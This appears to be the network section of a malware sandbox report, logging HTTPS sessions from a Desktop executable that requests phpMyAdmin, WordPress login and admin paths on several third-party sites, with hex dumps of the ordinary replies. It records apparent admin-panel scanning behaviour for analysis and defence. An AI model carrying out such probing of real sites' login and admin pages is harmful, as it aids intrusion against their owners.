39 Data Ascii: HTTP/1.1 301 Moved PermanentlyDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 316Connection: closeLocation: http://www.grantstech.io/pma/Cache-Control: max-age=0Expires: Sun, 26 Nov 2023 05:59:59
2023-11-26 05:59:59 UTC	316	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 6d 61 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.grantstech.io/pma/">here</a>.</p><hr><address>Apache/2.4.56 (Debi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
546	192.168.2.4	55706	164.52.221.51	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	172	OUT	GET /wp-login.php HTTP/1.1 Host: gccb.co.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	412	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 38 2e 30 2e 32 30 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:59 GMTServer: ApacheX-Powered-By: PHP/8.0.20Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%
2023-11-26 06:00:00 UTC	6267	IN	Data Raw: 31 38 37 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 68 65 20 47 6f 64 68 72 61 20 43 69 74 79 20 43 6f 2d 6f 70 20 42 61 6e 6b 20 4c 74 64 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 Data Ascii: 1873<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; The Godhra City Co-op Bank Ltd. — WordPress</title><meta name='robots' content='max-image-preview:lar
2023-11-26 06:00:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
547	192.168.2.4	56264	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:59 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:59 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:59 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:59 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:59 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:59 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:59 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
548	192.168.2.4	56300	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:59 UTC	170	OUT	GET /admin/ HTTP/1.1 Host: www.avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:59 UTC	929	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 38 36 34 30 30 2c 20 70 75 62 6c 69 63 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 45 74 61 67 3a 20 57 2f 22 31 37 30 30 39 37 38 33 39 39 22 0d 0a 45 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 31 39 20 4e 6f 76 20 31 39 37 38 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 35 39 20 47 4d 54 0d 0a 53 65 72 76 Data Ascii: HTTP/1.1 403 ForbiddenConnection: closeCache-Control: max-age=86400, publicContent-Language: enContent-Type: text/html; charset=UTF-8Etag: W/"1700978399"Expires: Sun, 19 Nov 1978 05:00:00 GMTLast-Modified: Sun, 26 Nov 2023 05:59:59 GMTServ
2023-11-26 05:59:59 UTC	6	IN	Data Raw: 34 38 31 66 0d 0a Data Ascii: 481f
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 Data Ascii: <!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 20 30 2c 73 61 3a 76 6f 69 64 20 30 2c 71 75 65 75 65 54 69 6d 65 3a 76 6f 69 64 20 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 54 69 6d 65 3a 76 6f 69 64 20 30 2c 74 74 47 75 69 64 3a 76 6f 69 64 20 30 2c 75 73 65 72 3a 76 6f 69 64 20 30 2c 61 63 63 6f 75 6e 74 3a 76 6f 69 64 20 30 2c 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: 0,sa:void 0,queueTime:void 0,applicationTime:void 0,ttGuid:void 0,user:void 0,account:void 0,product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error(
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 6d 65 74 72 69 63 73 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 61 63 74 69 6f 6e 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 Data Ascii: onds:10,autoStart:!0},metrics:{enabled:!0,autoStart:!0},page_action:{enabled:!0,harvestTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enab
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 69 66 28 21 67 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e Data Ascii: equire an agent identifier!";function h(e){if(!e)throw new Error(p);if(!g[e])throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}fun
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 45 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e Data Ascii: r("All runtime objects require an agent identifier!");if(!E[e])throw new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 31 3a 28 29 3d 3e 75 7d 29 3b 63 6f 6e 73 74 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 21 21 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e Data Ascii: 1:()=>u});const r="undefined"!=typeof window&&!!window.document,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis in
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 6f 72 20 6f 63 63 75 72 65 64 20 77 68 69 6c 65 20 73 65 74 74 69 6e 67 20 53 68 61 72 65 64 43 6f 6e 74 65 78 74 22 2c 65 29 7d 7d 7d 7d 2c 38 65 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b Data Ascii: or occured while setting SharedContext",e)}}}},8e3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){
2023-11-26 05:59:59 UTC	1378	IN	Data Raw: 20 6e 3d 72 5b 65 5d 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b Data Ascii: n=r[e];if(!n)return;for(var i=0;i<n.length;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
